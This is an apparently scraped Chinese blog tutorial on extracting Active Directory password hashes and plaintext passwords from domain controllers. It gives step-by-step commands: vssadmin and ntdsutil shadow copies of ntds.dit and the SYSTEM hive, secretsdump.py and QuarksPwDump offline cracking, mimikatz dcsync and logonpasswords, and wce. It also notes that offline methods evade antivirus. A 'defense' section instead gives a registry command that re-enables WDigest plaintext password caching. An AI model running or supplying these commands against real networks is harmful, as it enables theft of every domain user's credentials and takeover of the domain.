ntds.dit

ntds.dit是主要的AD数据库,存放在C:\Windows\NTDS\NTDS.dit,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密

获取方式分为两种:

1.在线获取

2.离线获取

注意:

在域环境中,建议不要直接在线获取hash,特别是域环境比较大的时候,在线获取hash等待时候较长,工具占用资源太多,容易造成域控服务器崩溃。

在线获取

适用于域用户较少的时候

工具:

wce、gethashes、mimikatz

离线获取

导出ntds.dit 和 system文件,下载到本地 (这两个文件属于系统特殊文件,不能直接复制粘贴,需要采取特殊方法进行复制粘贴,类似的还有SAM文件。)

获取方法一:卷影拷贝法

利用vssadmin命令

(1)创建C盘卷影拷贝

vssadmin create shadow /for=c:

获得地址 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4

(2) 复制ntds.dit和system文件(将文件复制到c盘下)

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\\

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\system32\config\system c:\\

图为复制到域控下某台机器上


(3)复制完之后删除卷影


(4)破解hash

复制完保存在本地,利用impacket工具包 在impacket/example下

secretsdump.py -ntds ntds.dit文件的位置 -system system文件的位置 local

获取方法二:利用ntsdutil.exe工具

NtdSutilexe是一个为Active Directory提供管理设施的命令行工具。

(1)使用ntdsutil.exe,进入ntdsutil.exe命令行


(2)使用snapshot,进入快照管理命令行


(3)创建新快照

activate instance ntds

create


(4)使用mount挂载快照,得到一个地址

mount {a90b5261-9d55-42d0-a19d-d414c7f962f1}


(5)另起一个cmd,复制快照种的ntds

copy C:\$SNAP_202002141741_VOLUMEC$\windows\ntds\ntds.dit


(6)卸载并删除快照


(7)保存system

reg save hklm\system system.hive

(8)破解hash

使用QuarksPwDump-off-line进行离线破解

QuarksPwDump-off-line -dhd -nt ntds.dit -sf system.hive -o hashs.txt

获取域hash其他方法

其他工具

导出工具

1.ntdsutil

2.diskshadow.exe

13.vssown

4.auxiliary/admin/smb/psexec.ntdsgrab#msf模块

5.使用PowerSploit的Invoke-NinjaCopy远程提取ntds.dit

读取工具

NTDSDumpEx.exe

只获取特定用户的hash

进入mimikatz命令行模式

lsadump::dcsync /dc:win08.superman.com /domain:superman.com /user:用户名

获取明文密码

分两种情况:

1.在域控上获取明文密码

2.在普通域服务器上获取明文密码

再次提示:

在域环境中,不要直接在线获取hash,特别是域环境比较大的时候,在线获取hash等待时时间较长,工具占用资源太多,容易造成域控服务器崩溃。

1.在域控上获取明文密码

1.利用wce

wce -w

2.利用mimikatz

直接cmd调用

mimikatz.exe "sekurlsa::logonpasswords" exit

离线获取,能绕过杀软

离线获取明文密码

2.在普通域服务器上获取明文密码

普通域用户无法获取明文密码,不管是wce还是mimikatz

普通域用户无法获取明文密码,因为利用工具获取明文密码需要从系统进程lsass.exe的内存空间中读取,域普通用户的权限小于系统进程的system权限,所以没有办法从系统进程lsass.exe的内存空间中读取明文密码

防御方法

关于wce和mimikatz以及lsass.exe

Windows8.1以上版本或打过KB2871997补丁的机器,lsass中不会存储密码,如果想抓取密码,可以将注册表HKLM(HKEY LOCAL MACHINE)\SYSTEM\CurrentControlSet\Control\securityProviders\Wdigest下的UseLogonCredential设置为1,类型为DWORD32

可以使用命令:

Reg add HKLM\SYSTEM\CurrentControlSet\Control\securityProviders Wdigest/v UselogonCredential/t REG_DWORD /d1

获取域hash并破解的更多相关文章

  1. 域hash值破解的总结经验

    1.vsssown.vbs拷贝域数据库: 1.1上传vssown.vbs文件 上传cscript.exe和vssown.vbs到域服务器上 1.2创建快照 reg query HKEY_LOCAL_M ...

  2. Active Directory中获取域管理员权限的攻击方法

    Active Directory中获取域管理员权限的攻击方法         译:by  backlion 0x00 前言 攻击者可以通过多种方式在Active Directory中获得域管理员权限, ...

  3. [内网渗透]HASH获取与HASH传递

    0x01 PTH简介 PTH,即Pass-The-Hash,首先我们来说下为什么要使用HASH传递,一是在目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码的, ...

  4. 转:通过ASP.Net页面获取域用户名(当前登陆的用户)

    通过ASP.Net页面获取域用户名(当前登陆的用户) 原文地址: https://www.cnblogs.com/fast-michael/archive/2011/03/14/2057954.htm ...

  5. Hash值破解工具Hashcat使用

    Hash值破解工具Hashcat使用 Hashcat介绍 HashCat系列软件拥有十分灵活的破解方式,可以满足绝大多数的破解需求. Hashcat系列软件是比较牛逼的密码破解软件,系列软件包含Has ...

  6. Hash值破解工具(findmyhash与hash-identifier破解Hash值)

    Hash值破解工具(findmyhash与hash-identifier破解Hash值) 前言: Kali Linux提供各种哈希密文破解工具,如hashcat.john.rainbows.不论哪一种 ...

  7. 使用Empire自动获取域管理员

    使用Empire自动获取域管理员  译:backlion 前言 自从Empire和BloodHound被应用来,对AD渗透已经可以获取到内网环境95%的信息量.作者发现自己一遍又一遍地在做同样重复的事 ...

  8. EL获取域中的数据

    EL(Expression Language)是表达式语言,EL的使用可以减少JAVA代码的书写. 1.EL表达式中的常量: <body bgcolor="#7fffd4"& ...

  9. 【ABAP系列】SAP ABAP获取域(domain)值的方法

    公众号:SAP Technical 本文作者:matinal 原文出处:http://www.cnblogs.com/SAPmatinal/ 原文链接:[ABAP系列]SAP ABAP获取域(doma ...

随机推荐

  1. mysql--->B+tree索引的设计原理

    1.什么是数据库的索引 每种查找算法都只能应用于特定的数据结构之上,例如二分查找要求被检索数据有序,而二叉树查找只能应用于二叉查找树上,但是数据本身的组织结构不可能完全满足各种数据结构(例如,理论上不 ...

  2. CTF--HTTP服务--路径遍历(拿到www-data用户权限)

    开门见山 1. 扫描靶机ip,发现PCS 172.18.4.20 2. 用nmap扫描靶机开放服务及版本 3. 再扫描靶机的全部信息 4. 用nikto工具探测http服务敏感信息 5. 用dirb工 ...

  3. python实现一个客户端与服务端的通信

    函数介绍 Socket对象方法: 服务端: 函数 描述 .bind() 绑定地址关键字,AF_INET下以元组的形式表示地址.常用bind((host,port)) .listen() 监听TCP,可 ...

  4. Java数据类型及对应取值范围

    Java数据类型及对应取值范围 在Java中,数据类型分为两大种:基本数据类型(值类型)和包装类型(引用数据类型).基本数据类型不是对象,不能调用toString().hashCode().getCl ...

  5. 简明 homebrew

    介绍 包管理工具几乎已经成为现代操作系统或者开发平台不可或缺的工具软件,无论做开发,或是管理服务器,都免不了用到一些第三方依赖包.包管理工具的基本功能就是提供一个集中的平台,可以在这里找到大部分流行的 ...

  6. 从免费的物联网防火墙hihttps谈机器学习之生成对抗规则

    hihttps是一款基于MQTT的免费的物联网防火墙,同时也是web应用防火墙,既支持传统的检测功能如SQL注入.XSS.恶意漏洞扫描.密码暴力破解.CC.DDOS等),又支持无监督机器学习,自主对抗 ...

  7. css- :before :after

    :before和:after的作用就是在指定的元素内容(而不是元素本身)之前或者之后插入一个包含content属性指定内容的行内元素,最基本的用法如下: #example:before { conte ...

  8. 带大家用40行python代码实现一个疫情地图

    最近两个月,因为新冠病毒无情的肆虐,相信会给每个中国人的记忆中画上重重的一笔.到今天为止,疫情形势依然十分严峻,虽然除湖北外的其他省份已经连续十一天确诊人数下降,但是接下来还有将近至少1.6亿的人口迁 ...

  9. oracle的网络连接

    NAMES.DIRECTORY_PATH常用的值有tnsnames,hostname,onames和ezconnect和 ldap,cds,nis不常用的值,默认值是(tnsnames,onames, ...

  10. 【WPF学习】第四十四章 图画

    通过上一章的学习,Geometry抽象类表示形状或路径.Drawing抽象类扮演了互补的角色,它表示2D图画(Drawing)——换句话说,它包含了显示矢量图像或位图需要的所有信息. 尽管有几类画图类 ...